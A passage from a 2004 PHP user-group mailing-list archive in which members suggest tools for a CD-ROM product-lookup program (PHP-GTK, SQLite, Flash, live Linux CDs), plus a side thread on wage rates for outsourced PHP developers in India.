> I would like to create a program that pop-ups when a user inserts a CD 
> into their computer. This program will let the user enter the product 
> code of Company A or Company B and it, in turn, will display the 
> corresponding code for the same product manufactured by Company C. 
> (This project would be for Company C.) When the code for the product 
> by Company C is shown, corresponding details such as product image and 
> specifications should also be available.


I have done this in the past, but only used JavaScript and flatfiles for 
data.  This was the CD version of a LAMP site (ironically for Microsoft) 
and I just didn't have time to look for any other options.  It was ugly, 
I hated doing it, but it worked.  Now that there are more options for a 
richer 'client experience', I'm very interested in the choices that you 
make, as well as the results...

-- Mitch


From crisscott at netzero.com  Wed May 26 11:27:23 2004
From: crisscott at netzero.com (Scott Mattocks)
Date: Wed, 26 May 2004 11:27:23 -0400
Subject: [nycphp-talk] using PHP for an offline / CD-ROM presentation
In-Reply-To: <40B4B2C1.2080902@ceruleansky.com>
References: <40B4B2C1.2080902@ceruleansky.com>
Message-ID: <40B4B75B.2020607@netzero.com>

Jayesh Sheth wrote:

> * PHP-GTK - http://gtk.php.net/ + SQLite
> I looked into PHP-GTK and played with it a bit. It looks nice, but I am 
> still confused by the wide variety of tools available for it, especially 
> on Windows. And I am not sure if PHP-GTK programs can talk to SQLite. If 
> they can, I am not sure how to package my PHP-GTK programs along with 
> the PHP binary and the SQLite database  on a CD. Can anyone recommend a 
> good book on PHP-GTK ?

PHP-GTK is not much more than a CLI program that creates its own GUI. 
Anything you can do with a "normal" PHP application you can do with 
PHP-GTK.  Unfortuanately I haven't found any books dedicated to PHP-GTK 
yet.  Adam and David's PHP Cookbook does have a chapter on PHP-GTK 
though.  For me the hardest part of getting any GUI stuff running was 
trying to get PHP-GTK installed with all of the goodies.  I still can't 
get Scintilla to work with it.

Scott Mattocks


From jcrawford at codebowl.com  Wed May 26 11:38:07 2004
From: jcrawford at codebowl.com (Joe Crawford Jr.)
Date: Wed, 26 May 2004 11:38:07 -0400
Subject: [nycphp-talk] using PHP for an offline / CD-ROM presentation
References: <40B4B2C1.2080902@ceruleansky.com> <40B4B75B.2020607@netzero.com>
Message-ID: <001901c44337$ac389c70$3347acac@codebowl>

bleh PHP-GTK,

it seems nice but i cant find any info on how to install it with php 5, i
finally got php5 and apache working on windows :)

Joe Crawford

----- Original Message -----
From: "Scott Mattocks" <crisscott at netzero.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Wednesday, May 26, 2004 11:27 AM
Subject: Re: [nycphp-talk] using PHP for an offline / CD-ROM presentation


> Jayesh Sheth wrote:
>
> > * PHP-GTK - http://gtk.php.net/ + SQLite
> > I looked into PHP-GTK and played with it a bit. It looks nice, but I am
> > still confused by the wide variety of tools available for it, especially
> > on Windows. And I am not sure if PHP-GTK programs can talk to SQLite. If
> > they can, I am not sure how to package my PHP-GTK programs along with
> > the PHP binary and the SQLite database  on a CD. Can anyone recommend a
> > good book on PHP-GTK ?
>
> PHP-GTK is not much more than a CLI program that creates its own GUI.
> Anything you can do with a "normal" PHP application you can do with
> PHP-GTK.  Unfortuanately I haven't found any books dedicated to PHP-GTK
> yet.  Adam and David's PHP Cookbook does have a chapter on PHP-GTK
> though.  For me the hardest part of getting any GUI stuff running was
> trying to get PHP-GTK installed with all of the goodies.  I still can't
> get Scintilla to work with it.
>
> Scott Mattocks
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>
>



From crisscott at netzero.com  Wed May 26 11:45:02 2004
From: crisscott at netzero.com (Scott Mattocks)
Date: Wed, 26 May 2004 11:45:02 -0400
Subject: [nycphp-talk] using PHP for an offline / CD-ROM presentation
In-Reply-To: <001901c44337$ac389c70$3347acac@codebowl>
References: <40B4B2C1.2080902@ceruleansky.com> <40B4B75B.2020607@netzero.com>
	<001901c44337$ac389c70$3347acac@codebowl>
Message-ID: <40B4BB7E.8030105@netzero.com>

PHP-GTK 1.0 doesn't work with PHP5.  If you want to use it with PHP5 
you'll have to wait until PHP-GTK 2.0 comes out.

Joe Crawford Jr. wrote:

> bleh PHP-GTK,
> 
> it seems nice but i cant find any info on how to install it with php 5, i
> finally got php5 and apache working on windows :)
> 
> Joe Crawford
> 
> ----- Original Message -----
> From: "Scott Mattocks" <crisscott at netzero.com>
> To: "NYPHP Talk" <talk at lists.nyphp.org>
> Sent: Wednesday, May 26, 2004 11:27 AM
> Subject: Re: [nycphp-talk] using PHP for an offline / CD-ROM presentation
> 
> 
> 
>>Jayesh Sheth wrote:
>>
>>
>>>* PHP-GTK - http://gtk.php.net/ + SQLite
>>>I looked into PHP-GTK and played with it a bit. It looks nice, but I am
>>>still confused by the wide variety of tools available for it, especially
>>>on Windows. And I am not sure if PHP-GTK programs can talk to SQLite. If
>>>they can, I am not sure how to package my PHP-GTK programs along with
>>>the PHP binary and the SQLite database  on a CD. Can anyone recommend a
>>>good book on PHP-GTK ?
>>
>>PHP-GTK is not much more than a CLI program that creates its own GUI.
>>Anything you can do with a "normal" PHP application you can do with
>>PHP-GTK.  Unfortuanately I haven't found any books dedicated to PHP-GTK
>>yet.  Adam and David's PHP Cookbook does have a chapter on PHP-GTK
>>though.  For me the hardest part of getting any GUI stuff running was
>>trying to get PHP-GTK installed with all of the goodies.  I still can't
>>get Scintilla to work with it.
>>
>>Scott Mattocks
>>_______________________________________________
>>talk mailing list
>>talk at lists.nyphp.org
>>http://lists.nyphp.org/mailman/listinfo/talk
>>
>>
> 
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 
> 


From jcrawford at codebowl.com  Wed May 26 11:43:59 2004
From: jcrawford at codebowl.com (Joe Crawford Jr.)
Date: Wed, 26 May 2004 11:43:59 -0400
Subject: [nycphp-talk] WebPanels 2
Message-ID: <002d01c44338$8b7cad90$3347acac@codebowl>

Guys,

http://webpanels.sourceforge.net/

i am not sure if this will be of interest but i thought i would pass this along since it took advantage of PHP 5.  I thought it was quite cool how php could have a system like ASP.NET however i guess it is just namespaces and classes ;) 

I think this project would have been better done as an extension rather than a ton of classes though just my opinion.

http://webpanels.sourceforge.net/

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From corey at domanistudios.com  Wed May 26 11:46:56 2004
From: corey at domanistudios.com (corey szopinski)
Date: Wed, 26 May 2004 11:46:56 -0400
Subject: [nycphp-talk] using PHP for an offline / CD-ROM presentation
In-Reply-To: <40B4B5E4.1010307@spacemonkeylabs.com>
Message-ID: <BCDA3430.FE59%corey@domanistudios.com>

Jayesh-

Have you considered using Flash or Director? Flash, in particular, has some
very nice classes for working with XML data. I bet you can do everything you
wanted to with PHP with Flash instead. You can either embed the Flash file
in an HTML container to run in a browser, or output it as a projector for
Mac/Window (not sure about Linux). Actionscript is a very nice language to
work with, and with the new data components in Flash 7, the display and
parsing of data (XML, flatfile, or from a database) couldn?t be easier.

-corey



On 5/26/04 11:21 AM, "Mitch Pirtle" <mitchy at spacemonkeylabs.com> wrote:

> Jayesh Sheth wrote:
> 
>> > Hello all,
>> >
>> > I have done some research on the topic of using PHP to power a
>> > CD-based presentation/data retrieval program; I have not come up with
>> > any good answers yet (on how best to utilize PHP for this purpose). I
>> > thought that the smart people on this list might have insight into
>> > this issue.
>> >
>> > The problem is as follows:
>> > I would like to create a program that pop-ups when a user inserts a CD
>> > into their computer. This program will let the user enter the product
>> > code of Company A or Company B and it, in turn, will display the
>> > corresponding code for the same product manufactured by Company C.
>> > (This project would be for Company C.) When the code for the product
>> > by Company C is shown, corresponding details such as product image and
>> > specifications should also be available.
> 
> 
> I have done this in the past, but only used JavaScript and flatfiles for
> data.  This was the CD version of a LAMP site (ironically for Microsoft)
> and I just didn't have time to look for any other options.  It was ugly,
> I hated doing it, but it worked.  Now that there are more options for a
> richer 'client experience', I'm very interested in the choices that you
> make, as well as the results...
> 
> -- Mitch
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk


DOMANI STUDIOS

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From jcrawford at codebowl.com  Wed May 26 11:47:36 2004
From: jcrawford at codebowl.com (Joe Crawford Jr.)
Date: Wed, 26 May 2004 11:47:36 -0400
Subject: [nycphp-talk] using PHP for an offline / CD-ROM presentation
References: <40B4B2C1.2080902@ceruleansky.com>
	<40B4B75B.2020607@netzero.com><001901c44337$ac389c70$3347acac@codebowl>
	<40B4BB7E.8030105@netzero.com>
Message-ID: <003c01c44339$1114a8e0$3347acac@codebowl>

:(

thanks for the information.

Joe

----- Original Message -----
From: "Scott Mattocks" <crisscott at netzero.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Wednesday, May 26, 2004 11:45 AM
Subject: Re: [nycphp-talk] using PHP for an offline / CD-ROM presentation


> PHP-GTK 1.0 doesn't work with PHP5.  If you want to use it with PHP5
> you'll have to wait until PHP-GTK 2.0 comes out.
>
> Joe Crawford Jr. wrote:
>
> > bleh PHP-GTK,
> >
> > it seems nice but i cant find any info on how to install it with php 5,
i
> > finally got php5 and apache working on windows :)
> >
> > Joe Crawford
> >
> > ----- Original Message -----
> > From: "Scott Mattocks" <crisscott at netzero.com>
> > To: "NYPHP Talk" <talk at lists.nyphp.org>
> > Sent: Wednesday, May 26, 2004 11:27 AM
> > Subject: Re: [nycphp-talk] using PHP for an offline / CD-ROM presentation
> >
> >
> >
> >>Jayesh Sheth wrote:
> >>
> >>
> >>>* PHP-GTK - http://gtk.php.net/ + SQLite
> >>>I looked into PHP-GTK and played with it a bit. It looks nice, but I am
> >>>still confused by the wide variety of tools available for it,
especially
> >>>on Windows. And I am not sure if PHP-GTK programs can talk to SQLite.
If
> >>>they can, I am not sure how to package my PHP-GTK programs along with
> >>>the PHP binary and the SQLite database  on a CD. Can anyone recommend a
> >>>good book on PHP-GTK ?
> >>
> >>PHP-GTK is not much more than a CLI program that creates its own GUI.
> >>Anything you can do with a "normal" PHP application you can do with
> >>PHP-GTK.  Unfortuanately I haven't found any books dedicated to PHP-GTK
> >>yet.  Adam and David's PHP Cookbook does have a chapter on PHP-GTK
> >>though.  For me the hardest part of getting any GUI stuff running was
> >>trying to get PHP-GTK installed with all of the goodies.  I still can't
> >>get Scintilla to work with it.
> >>
> >>Scott Mattocks
> >>_______________________________________________
> >>talk mailing list
> >>talk at lists.nyphp.org
> >>http://lists.nyphp.org/mailman/listinfo/talk
> >>
> >>
> >
> >
> > _______________________________________________
> > talk mailing list
> > talk at lists.nyphp.org
> > http://lists.nyphp.org/mailman/listinfo/talk
> >
> >
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>
>



From sm11szw02 at sneakemail.com  Wed May 26 12:16:41 2004
From: sm11szw02 at sneakemail.com (inforequest)
Date: Wed, 26 May 2004 12:16:41 -0400
Subject: [nycphp-talk] using PHP for an offline / CD-ROM presentation
In-Reply-To: <003c01c44339$1114a8e0$3347acac@codebowl>
References: <40B4B2C1.2080902@ceruleansky.com>	<40B4B75B.2020607@netzero.com><001901c44337$ac389c70$3347acac@codebowl>	<40B4BB7E.8030105@netzero.com>
	<003c01c44339$1114a8e0$3347acac@codebowl>
Message-ID: <15166-51868@sneakemail.com>

You might consider a Linux Live CD setup, with instructions for the user 
to boot from the CD.

Knoppix and Gentoo come to mind... they boot fast and are way 
compatible, and you end up in a full LAMP environment for running your 
ap. Not sure of licensing issues but you can check that out.

I did this with a library situation where they had a bunch of old PCs 
networked but unworthy of M$ upgrades. Booted them all with a liveCD and 
custom desktop, and never looked back (486's and PII's still running 
virtually overhead free to this day).

If you like this idea, check out the K12 linix project for an example of 
how some guys did this really, really well (although they use RH and not 
a liveCD, because they need alot of stuff)

http://www.k12ltsp.org/

-=john





Joe Crawford Jr. jcrawford-at-codebowl.com |nyphp 04/2004| wrote:

>:(
>
>thanks for the information.
>
>Joe
>
>----- Original Message -----
>From: "Scott Mattocks" <crisscott at netzero.com>
>To: "NYPHP Talk" <talk at lists.nyphp.org>
>Sent: Wednesday, May 26, 2004 11:45 AM
>Subject: Re: [nycphp-talk] using PHP for an offline / CD-ROM presentation
>
>
>  
>
>>PHP-GTK 1.0 doesn't work with PHP5.  If you want to use it with PHP5
>>you'll have to wait until PHP-GTK 2.0 comes out.
>>
>>Joe Crawford Jr. wrote:
>>
>>    
>>
>>>bleh PHP-GTK,
>>>
>>>it seems nice but i cant find any info on how to install it with php 5,
>>>      
>>>
>i
>  
>
>>>finally got php5 and apache working on windows :)
>>>
>>>Joe Crawford
>>>
>>>----- Original Message -----
>>>From: "Scott Mattocks" <crisscott at netzero.com>
>>>To: "NYPHP Talk" <talk at lists.nyphp.org>
>>>Sent: Wednesday, May 26, 2004 11:27 AM
>>>Subject: Re: [nycphp-talk] using PHP for an offline / CD-ROM presentation
>>>
>>>
>>>
>>>      
>>>
>>>>Jayesh Sheth wrote:
>>>>
>>>>
>>>>        
>>>>
>>>>>* PHP-GTK - http://gtk.php.net/ + SQLite
>>>>>I looked into PHP-GTK and played with it a bit. It looks nice, but I am
>>>>>still confused by the wide variety of tools available for it,
>>>>>          
>>>>>
>especially
>  
>
>>>>>on Windows. And I am not sure if PHP-GTK programs can talk to SQLite.
>>>>>          
>>>>>
>If
>  
>
>>>>>they can, I am not sure how to package my PHP-GTK programs along with
>>>>>the PHP binary and the SQLite database  on a CD. Can anyone recommend a
>>>>>good book on PHP-GTK ?
>>>>>          
>>>>>
>>>>PHP-GTK is not much more than a CLI program that creates its own GUI.
>>>>Anything you can do with a "normal" PHP application you can do with
>>>>PHP-GTK.  Unfortuanately I haven't found any books dedicated to PHP-GTK
>>>>yet.  Adam and David's PHP Cookbook does have a chapter on PHP-GTK
>>>>though.  For me the hardest part of getting any GUI stuff running was
>>>>trying to get PHP-GTK installed with all of the goodies.  I still can't
>>>>get Scintilla to work with it.
>>>>
>>>>Scott Mattocks
>>>>_______________________________________________
>>>>talk mailing list
>>>>talk at lists.nyphp.org
>>>>http://lists.nyphp.org/mailman/listinfo/talk
>>>>
>>>>
>>>>        
>>>>
>>>_______________________________________________
>>>talk mailing list
>>>talk at lists.nyphp.org
>>>http://lists.nyphp.org/mailman/listinfo/talk
>>>
>>>
>>>      
>>>
>>_______________________________________________
>>talk mailing list
>>talk at lists.nyphp.org
>>http://lists.nyphp.org/mailman/listinfo/talk
>>
>>
>>    
>>
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>



From jwilhelm at summit7solutions.com  Wed May 26 12:27:43 2004
From: jwilhelm at summit7solutions.com (Jeff Wilhelm)
Date: Wed, 26 May 2004 12:27:43 -0400
Subject: [nycphp-talk] using PHP for an offline / CD-ROM presentation
In-Reply-To: <15166-51868@sneakemail.com>
Message-ID: <007401c4433e$5f6ae1d0$0a7ba8c0@zion>

You can always look into http://www.indigostar.com/microweb.htm as well.




inforequest wrote:
> You might consider a Linux Live CD setup, with instructions for the
> user to boot from the CD.
> 
> Knoppix and Gentoo come to mind... they boot fast and are way
> compatible, and you end up in a full LAMP environment for running your
> ap. Not sure of licensing issues but you can check that out.
> 
> I did this with a library situation where they had a bunch of old PCs
> networked but unworthy of M$ upgrades. Booted them all with a liveCD
> and custom desktop, and never looked back (486's and PII's still
> running virtually overhead free to this day).
> 
> If you like this idea, check out the K12 linix project for an example
> of how some guys did this really, really well (although they use RH
> and not a liveCD, because they need alot of stuff)
> 
> http://www.k12ltsp.org/
> 
> -=john
> 
> 
> 
> 
> 
> Joe Crawford Jr. jcrawford-at-codebowl.com |nyphp 04/2004| wrote:
> 
>> :(
>> 
>> thanks for the information.
>> 
>> Joe
>> 
>> ----- Original Message -----
>> From: "Scott Mattocks" <crisscott at netzero.com>
>> To: "NYPHP Talk" <talk at lists.nyphp.org>
>> Sent: Wednesday, May 26, 2004 11:45 AM
>> Subject: Re: [nycphp-talk] using PHP for an offline / CD-ROM
>> presentation 
>> 
>> 
>> 
>> 
>>> PHP-GTK 1.0 doesn't work with PHP5.  If you want to use it with PHP5
>>> you'll have to wait until PHP-GTK 2.0 comes out.
>>> 
>>> Joe Crawford Jr. wrote:
>>> 
>>> 
>>> 
>>>> bleh PHP-GTK,
>>>> 
>>>> it seems nice but i cant find any info on how to install it with
>>>> php 5, 
>>>> 
>>>> 
>> i
>> 
>> 
>>>> finally got php5 and apache working on windows :)
>>>> 
>>>> Joe Crawford
>>>> 
>>>> ----- Original Message -----
>>>> From: "Scott Mattocks" <crisscott at netzero.com>
>>>> To: "NYPHP Talk" <talk at lists.nyphp.org>
>>>> Sent: Wednesday, May 26, 2004 11:27 AM
>>>> Subject: Re: [nycphp-talk] using PHP for an offline / CD-ROM
>>>> presentation 
>>>> 
>>>> 
>>>> 
>>>> 
>>>> 
>>>>> Jayesh Sheth wrote:
>>>>> 
>>>>> 
>>>>> 
>>>>> 
>>>>>> * PHP-GTK - http://gtk.php.net/ + SQLite
>>>>>> I looked into PHP-GTK and played with it a bit. It looks nice,
>>>>>> but I am still confused by the wide variety of tools available
>>>>>> for it, 
>>>>>> 
>>>>>> 
>> especially
>> 
>> 
>>>>>> on Windows. And I am not sure if PHP-GTK programs can talk to
>>>>>> SQLite. 
>>>>>> 
>>>>>> 
>> If
>> 
>> 
>>>>>> they can, I am not sure how to package my PHP-GTK programs along
>>>>>> with the PHP binary and the SQLite database  on a CD. Can anyone
>>>>>> recommend a good book on PHP-GTK ?
>>>>>> 
>>>>>> 
>>>>> PHP-GTK is not much more than a CLI program that creates its own
>>>>> GUI. Anything you can do with a "normal" PHP application you can
>>>>> do with PHP-GTK.  Unfortuanately I haven't found any books
>>>>> dedicated to PHP-GTK yet.  Adam and David's PHP Cookbook does
>>>>> have a chapter on PHP-GTK though.  For me the hardest part of
>>>>> getting any GUI stuff running was trying to get PHP-GTK installed
>>>>> with all of the goodies. I still can't get Scintilla to work with
>>>>> it. 
>>>>> 
>>>>> Scott Mattocks _______________________________________________
>>>>> talk mailing list
>>>>> talk at lists.nyphp.org
>>>>> http://lists.nyphp.org/mailman/listinfo/talk
>>>>> 
>>>>> 
>>>>> 
>>>>> 
>>>> _______________________________________________
>>>> talk mailing list
>>>> talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk
>>>> 
>>>> 
>>>> 
>>>> 
>>> _______________________________________________
>>> talk mailing list
>>> talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk
>>> 
>>> 
>>> 
>>> 
>> 
>> _______________________________________________
>> talk mailing list
>> talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk
>> 
>> 
>> 
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk



From jayeshsh at ceruleansky.com  Wed May 26 12:43:49 2004
From: jayeshsh at ceruleansky.com (Jayesh Sheth)
Date: Wed, 26 May 2004 12:43:49 -0400
Subject: [nycphp-talk] when PHP outsourcing is not cheap any more
Message-ID: <40B4C945.5040007@ceruleansky.com>

Hello all,

I came across an interesting ad on Google which led me here:
http://php-mysql-developer.com/default.aspx?aff=google&key=php_india_6mo

It seemes a programmer in India who lives outside of where I grew up 
(Pune) is advertising his services on Google. He is the requesting the 
small sum of $500 per week for his services, provided that he is 
guaranteed a minimum of 6 months of employment.

In his FAQ, he has these snippets:

"
What do I seek?
I am looking for a full-time telecommuting job as a PHP/MySQL developer. 
I will work as a WEB-BASED employee to your company , or in other words, 
I will work from my location and communicate with you over the Internet.

[...]

Isn't the salary you are asking for, low?
NO. I live in India where a salary of $500 is sufficient for my needs, 
provided I have a job security.

[...]
What are your other traits?
Intelligent, Sharp, Hard working, tech-savvy, self-managing, honest, 
committed, excellent communication skills.

I hope I have answered some of your questions. Here is MY CHALLENGE :
I can perform the job of TWO developers alone. I can take up projects 
from scratch, design and develop them all by myself. The end result 
would be comparable or BETTER than what a developer with $80,000 annual 
salary would do! GUARANTEED!!
"

I just visited my family in India this spring, and I say with certainty 
that $2000 per month is a HUGE sum in India. Even talented developers 
there are paid $500 - $600 per month.

I have nothing against outsourcing - I think it can be quite useful in 
some cases. But the thing is, it is surprising to find individuals based 
in India marketing themselves with such self-assurance: asking $2000 per 
month and 6 months of *guaranteed* employement and claiming to be able 
to do the work of two people over that period of time.

This curious offer could mean one of several things:
- The demand for outsourced services from India has gone up so much that 
their prices will soon be approaching New York prices
- This guy is marketing himself at prices WAY above standard Indian 
rates and in fact employing other people
- Another, unknown factor is at work

On a side note, I recently posted a help wanted ad on Craigslist for 
some direct (snail) mail marketing work - I got over 100 resumes, some 
from people with MBAs. And from operating in the New York tech market 
for some time now, I know what kind of pressure there is on the price of 
services. Often, if I propose an hourly rate, the sale won't be made or 
will be harder than if I had proposed a fixed bid for a project.

So, putting any resentment or bias aside, can anyone else explain what's 
going on here?

Thanks,

- Jay Sheth
PS: some time ago there was a thread at NYPHP talk which I did not 
bother to respond to; it went something like this (I am exagerating): 
PHP programmers in India are paid $10 per month! OMG! Well, rest assured 
that they are paid a decent amount ($200 - $500 per month), but 
definitely NOT $2000 per month. Even graduates from their top colleges 
(IIT, for example), make about $8000 - $10000 per year.



From jcrawford at codebowl.com  Wed May 26 12:48:33 2004
From: jcrawford at codebowl.com (Joe Crawford Jr.)
Date: Wed, 26 May 2004 12:48:33 -0400
Subject: [nycphp-talk] when PHP outsourcing is not cheap any more
References: <40B4C945.5040007@ceruleansky.com>
Message-ID: <004001c44341$63e7b000$3347acac@codebowl>

I would work for $500 a week as long as that was after taxes ;)

i am in Vermont heh and i have no degree, however i gurantee you my coding
style and skills are top level ;)

Joe Crawford Jr.

----- Original Message -----
From: "Jayesh Sheth" <jayeshsh at ceruleansky.com>
To: <talk at lists.nyphp.org>
Sent: Wednesday, May 26, 2004 12:43 PM
Subject: [nycphp-talk] when PHP outsourcing is not cheap any more


> Hello all,
>
> I came across an interesting ad on Google which led me here:
> http://php-mysql-developer.com/default.aspx?aff=google&key=php_india_6mo
>
> It seemes a programmer in India who lives outside of where I grew up
> (Pune) is advertising his services on Google. He is the requesting the
> small sum of $500 per week for his services, provided that he is
> guaranteed a minimum of 6 months of employment.
>
> In his FAQ, he has these snippets:
>
> "
> What do I seek?
> I am looking for a full-time telecommuting job as a PHP/MySQL developer.
> I will work as a WEB-BASED employee to your company , or in other words,
> I will work from my location and communicate with you over the Internet.
>
> [...]
>
> Isn't the salary you are asking for, low?
> NO. I live in India where a salary of $500 is sufficient for my needs,
> provided I have a job security.
>
> [...]
> What are your other traits?
> Intelligent, Sharp, Hard working, tech-savvy, self-managing, honest,
> committed, excellent communication skills.
>
> I hope I have answered some of your questions. Here is MY CHALLENGE :
> I can perform the job of TWO developers alone. I can take up projects
> from scratch, design and develop them all by myself. The end result
> would be comparable or BETTER than what a developer with $80,000 annual
> salary would do! GUARANTEED!!
> "
>
> I just visited my family in India this spring, and I say with certainty
> that $2000 per month is a HUGE sum in India. Even talented developers
> there are paid $500 - $600 per month.
>
> I have nothing against outsourcing - I think it can be quite useful in
> some cases. But the thing is, it is surprising to find individuals based
> in India marketing themselves with such self-assurance: asking $2000 per
> month and 6 months of *guaranteed* employement and claiming to be able
> to do the work of two people over that period of time.
>
> This curious offer could mean one of several things:
> - The demand for outsourced services from India has gone up so much that
> their prices will soon be approaching New York prices
> - This guy is marketing himself at prices WAY above standard Indian
> rates and in fact employing other people
> - Another, unknown factor is at work
>
> On a side note, I recently posted a help wanted ad on Craigslist for
> some direct (snail) mail marketing work - I got over 100 resumes, some
> from people with MBAs. And from operating in the New York tech market
> for some time now, I know what kind of pressure there is on the price of
> services. Often, if I propose an hourly rate, the sale won't be made or
> will be harder than if I had proposed a fixed bid for a project.
>
> So, putting any resentment or bias aside, can anyone else explain what's
> going on here?
>
> Thanks,
>
> - Jay Sheth
> PS: some time ago there was a thread at NYPHP talk which I did not
> bother to respond to; it went something like this (I am exagerating):
> PHP programmers in India are paid $10 per month! OMG! Well, rest assured
> that they are paid a decent amount ($200 - $500 per month), but
> definitely NOT $2000 per month. Even graduates from their top colleges
> (IIT, for example), make about $8000 - $10000 per year.
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>
>



From ereyes at totalcreations.com  Wed May 26 12:56:16 2004
From: ereyes at totalcreations.com (Edgar Reyes)
Date: Wed, 26 May 2004 12:56:16 -0400
Subject: [nycphp-talk] using PHP for an offline / CD-ROM presentation
References: <40B4B2C1.2080902@ceruleansky.com>
Message-ID: <041a01c44342$5c829220$6400a8c0@ERENTR>

Hello,

I think the best solution for what you are looking to do is to use Flash,
you can code all the data in , you can make the flash file an executable
file and just a small auto run script will make it start automatically..

Edgar
----- Original Message ----- 
From: "Jayesh Sheth" <jayeshsh at ceruleansky.com>
To: <talk at lists.nyphp.org>
Sent: Wednesday, May 26, 2004 11:07 AM
Subject: [nycphp-talk] using PHP for an offline / CD-ROM presentation


> Hello all,
>
> I have done some research on the topic of using PHP to power a CD-based
> presentation/data retrieval program; I have not come up with any good
> answers yet (on how best to utilize PHP for this purpose). I thought
> that the smart people on this list might have insight into this issue.
>
> The problem is as follows:
> I would like to create a program that pop-ups when a user inserts a CD
> into their computer. This program will let the user enter the product
> code of Company A or Company B and it, in turn, will display the
> corresponding code for the same product manufactured by Company C. (This
> project would be for Company C.) When the code for the product by
> Company C is shown, corresponding details such as product image and
> specifications should also be available.
>
> So, I would (most probably) need to store all this product data in a
> database, and then retrieve that information from another program.
>
> Doing this thing with PHP, Apache and MySQL is no problem. The problem,
> however, occurs when I want to package this program onto a CD. Wouldn't
> a PHP, Apache, MySQL combination be too heavy for an offline,
> run-from-CD program? Would users cancel any installation program and not
> use the CD if it were that heavy? What would other solutions to this
> problem be?
>
> Here are some answers I came up with:
>
> * PHP-GTK - http://gtk.php.net/ + SQLite
> I looked into PHP-GTK and played with it a bit. It looks nice, but I am
> still confused by the wide variety of tools available for it, especially
> on Windows. And I am not sure if PHP-GTK programs can talk to SQLite. If
> they can, I am not sure how to package my PHP-GTK programs along with
> the PHP binary and the SQLite database  on a CD. Can anyone recommend a
> good book on PHP-GTK ?
>
> * XUL + PHP + MySQL / XUL + PHP + SQLite
> The MozPHP plugin available at http://mozphp.mozdev.org/ lets you run
> PHP scripts directly through Mozilla, without needing the Apache server.
>   So, I could add Mozilla to the CD (along with the MozPHP plugin) and
> then make Mozilla display a PHP script which will generate a XUL based
> interface. The PHP script will still have to access some database:
> SQLite, perhaps? MySQL, maybe?
>
> If it is MySQL, is there an embeddable / portable version of MySQL?
>
> * JavaScript + XUL + MySQL -
> There is are a couple of Mozilla add-ons that lets Mozilla directly
> access a MySQL database via JavaScript.
> There is one by Jan Varga at mozilla.org (the one that looked better),
> but I cannot find the URL for it now.
> The other one is at http://mysql.mozdev.org/ .
> I do not like JavaScript's syntax that much, and as far as I remember
> both add-ons were not documented that much.
>
> * Java + MySQL / Java + SQLite / Java + Berkeley DB
> Well, in this option I am abandoning PHP totally. I will use Java to
> create a program that embeds another database engine.
>
> Which option do you think is the best / most practical? Is PHP suited to
> making offline programs ? Can MySQL be embedded in PHP / Java programs ?
>
> Thanks in advance.
>
> Best Regards,
>
> - Jay Sheth
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk



From phillip.powell at adnet-sys.com  Wed May 26 13:02:10 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Wed, 26 May 2004 13:02:10 -0400
Subject: [nycphp-talk] when PHP outsourcing is not cheap any more
In-Reply-To: <004001c44341$63e7b000$3347acac@codebowl>
References: <40B4C945.5040007@ceruleansky.com>
	<004001c44341$63e7b000$3347acac@codebowl>
Message-ID: <40B4CD92.2010802@adnet-sys.com>

Joe Crawford Jr. wrote:

>I would work for $500 a week as long as that was after taxes ;)
>
>i am in Vermont heh and i have no degree, however i gurantee you my coding
>style and skills are top level ;)
>
>Joe Crawford Jr.
>
>----- Original Message -----
>From: "Jayesh Sheth" <jayeshsh at ceruleansky.com>
>To: <talk at lists.nyphp.org>
>Sent: Wednesday, May 26, 2004 12:43 PM
>Subject: [nycphp-talk] when PHP outsourcing is not cheap any more
>
>
>  
>
>>Hello all,
>>
>>I came across an interesting ad on Google which led me here:
>>http://php-mysql-developer.com/default.aspx?aff=google&key=php_india_6mo
>>
>>It seemes a programmer in India who lives outside of where I grew up
>>(Pune) is advertising his services on Google. He is the requesting the
>>small sum of $500 per week for his services, provided that he is
>>guaranteed a minimum of 6 months of employment.
>>
>>In his FAQ, he has these snippets:
>>
>>"
>>What do I seek?
>>I am looking for a full-time telecommuting job as a PHP/MySQL developer.
>>I will work as a WEB-BASED employee to your company , or in other words,
>>I will work from my location and communicate with you over the Internet.
>>
>>[...]
>>
>>Isn't the salary you are asking for, low?
>>NO. I live in India where a salary of $500 is sufficient for my needs,
>>provided I have a job security.
>>
>>[...]
>>What are your other traits?
>>Intelligent, Sharp, Hard working, tech-savvy, self-managing, honest,
>>committed, excellent communication skills.
>>
>>I hope I have answered some of your questions. Here is MY CHALLENGE :
>>I can perform the job of TWO developers alone. I can take up projects
>>from scratch, design and develop them all by myself. The end result
>>would be comparable or BETTER than what a developer with $80,000 annual
>>salary would do! GUARANTEED!!
>>"
>>
>>I just visited my family in India this spring, and I say with certainty
>>that $2000 per month is a HUGE sum in India. Even talented developers
>>there are paid $500 - $600 per month.
>>
>>I have nothing against outsourcing - I think it can be quite useful in
>>some cases. But the thing is, it is surprising to find individuals based
>>in India marketing themselves with such self-assurance: asking $2000 per
>>month and 6 months of *guaranteed* employement and claiming to be able
>>to do the work of two people over that period of time.
>>
>>This curious offer could mean one of several things:
>>- The demand for outsourced services from India has gone up so much that
>>their prices will soon be approaching New York prices
>>- This guy is marketing himself at prices WAY above standard Indian
>>rates and in fact employing other people
>>- Another, unknown factor is at work
>>
>>On a side note, I recently posted a help wanted ad on Craigslist for
